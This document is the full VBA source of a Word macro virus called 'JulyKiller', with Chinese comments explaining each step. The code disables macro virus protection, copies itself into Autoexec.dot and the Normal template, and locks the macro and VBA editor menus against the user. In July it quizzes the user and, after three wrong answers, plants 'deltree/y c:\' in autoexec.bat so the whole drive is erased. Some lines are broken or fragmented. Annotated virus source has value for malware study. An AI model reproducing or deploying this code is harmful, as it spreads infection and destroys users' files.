JulyKiller code

[苏格拉底]

Sub AutoOpen()
Dim file$
Dim ans$
Dim test
Dim mItem
Dim cItem
Dim aDoc
Dim aTemp
Dim vset
Dim Iset
Dim ad
For Each ad In AddIns
If ad.Name = "Autoexec.dot" Then
看看autoexec.dot是否加载
ad.Installed = False
End If
Next ad
With Dialogs(wdDialogToolsOptionsFileLocations)
.Path = "STARTUP-PATH"
.Setting = "c:\"
.Execute
把起始目录指向C:\ 以便加载autoexec.dot
End With
If Options.VirusProtection Then
Options.VirusProtection = False
关掉宏病毒防护选项
End If
file$ = WordBasic.[MacroFileName$]()
If InStr(file$, "Autoexec") <> 0 Then
For Each aDoc In Documents
For Each cItem In aDoc.VBProject.VBComponents
If (cItem.Name = "a") Then
看模板里是否有个名字为"a"的模块
vset = 1
有,已经感染过了
End If
Next cItem
Next aDoc
For Each cItem In NormalTemplate.VBProject.VBComponents
该查Normal模板了
If (cItem.Name = "a") Then
vset = 1
End If
Next cItem
If vset <> 1 Then
WordBasic.DisableAutoMacros
准备感染,关掉自动宏选项
Documents.Open FileName:="C:\Autoexec.dot", AddToRecentFiles:=False
For Each aDoc In Documents
If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And
(aDoc.VBProject.Protection = 0) Then
WordBasic.MacroCopy ActiveDocument.FullName + ":a", aDoc.FullName +
":a"
创建C:\autoexec.dot模板,并将病毒复制过去
End If
Next aDoc
For Each aTemp In Templates
If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And
(aTemp.VBProject.Protection = 0) Then
WordBasic.MacroCopy ActiveDocument.FullName + ":a", aTemp.FullName +
":a"

End If
Next aTemp
ActiveDocument.Save
ActiveDocument.Close
End If
If vset = 1 Then
GoTo out
End If
End If
With Application.FileSearch
如果打开的文件不是autoexec.dot ,则自己找
.LookIn = "C:\"
.FileName = "Autoexec.dot"
If .Execute > 0 Then
Iset = 1
End If
End With
If Iset <> 1 Then
WordBasic.DisableAutoMacros
Documents.Add NewTemplate:=True
WordBasic.MacroCopy file$ + ":a", ActiveDocument.FullName + ":a"
ActiveDocument.SaveAs FileName:="c:\Autoexec.dot",
AddToRecentFiles:=False
ActiveDocument.Close
End If
For Each aDoc In Documents
If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then
For Each cItem In aDoc.VBProject.VBComponents
If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or
(cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
aDoc.VBProject.VBComponents.Remove (cItem)
End If
Next cItem
End If
Next aDoc
For Each aTemp In Templates
If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0)
Then
For Each cItem In aTemp.VBProject.VBComponents
If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or
(cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
aTemp.VBProject.VBComponents.Remove (cItem)
End If
Next cItem
In cItem.CommandBar.Controls
以菜单标题作判断条件屏蔽宏操作选项, 如果是英文版就无法屏蔽,漏洞
If mItem.Caption = "宏(&M)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "Visual Basic 编辑器(&V)" Then
mItem.OnAction = "AutoClose"
End If
Next mItem
End If
End If
Next cItem
For Each cItem In CommandBars("Visual Basic").Controls
屏蔽按钮
cItem.OnAction = "AutoClose"
Next cItem
For Each cItem In CommandBars
If cItem.Visible = True Then
屏蔽按钮自定义
cItem.Protection = msoBarNoCustomize
End If
Next cItem
WordBasic.FileSaveAll 1, 1
保存屏蔽设置
pun
病毒发作表现
If WordBasic.Month(WordBasic.Now()) = 7 Then
7月到了吗? July-Punished
try
On Error GoTo -1 On Error GoTo 0
On Error GoTo -1 On Error GoTo try
If test > 2 Then GoTo result
test = test + 1
WordBasic.Beep
ans$ = WordBasic.[InputBox$]("当今社会太黑暗，太不公正了！(" + Str(test) + ")", "醒世恒
言", "非常正确")
弹出提问选项,等待回答
If WordBasic.[RTrim$](WordBasic.[LTrim$](ans$)) = "非常正确" Then
WordBasic.Beep
WordBasic.MsgBox "You are wise,please choose this later
again,critically!", 48
GoTo exit_
Else
GoTo try
End If
result
3次没答对
WordBasic.Beep
WordBasic.MsgBox "Stop it!you are so incurable to lose 3 chances!" +
Chr(13) + "Now,god will punish you...", 48
往autoexec.bat中加入deltree c:\ ,下次启动,C盘上所有东西将被删除.
Open "C:\autoexec.bat" For Output As 1
Print #1, "deltree/y c:\"
Close 1
Else
'MsgBox "Conguratulations!"
End If
exit_
For Each myTask In Tasks
If InStr(myTask.Name, "Visual Basic") > 0 Then
myTask.Visible = False
End If
Next myTask
End Sub
Sub AutoExec()
该宏在word启动时自动执行
End Sub
sub autoclose()
该宏在文件关闭时自动执行
end sub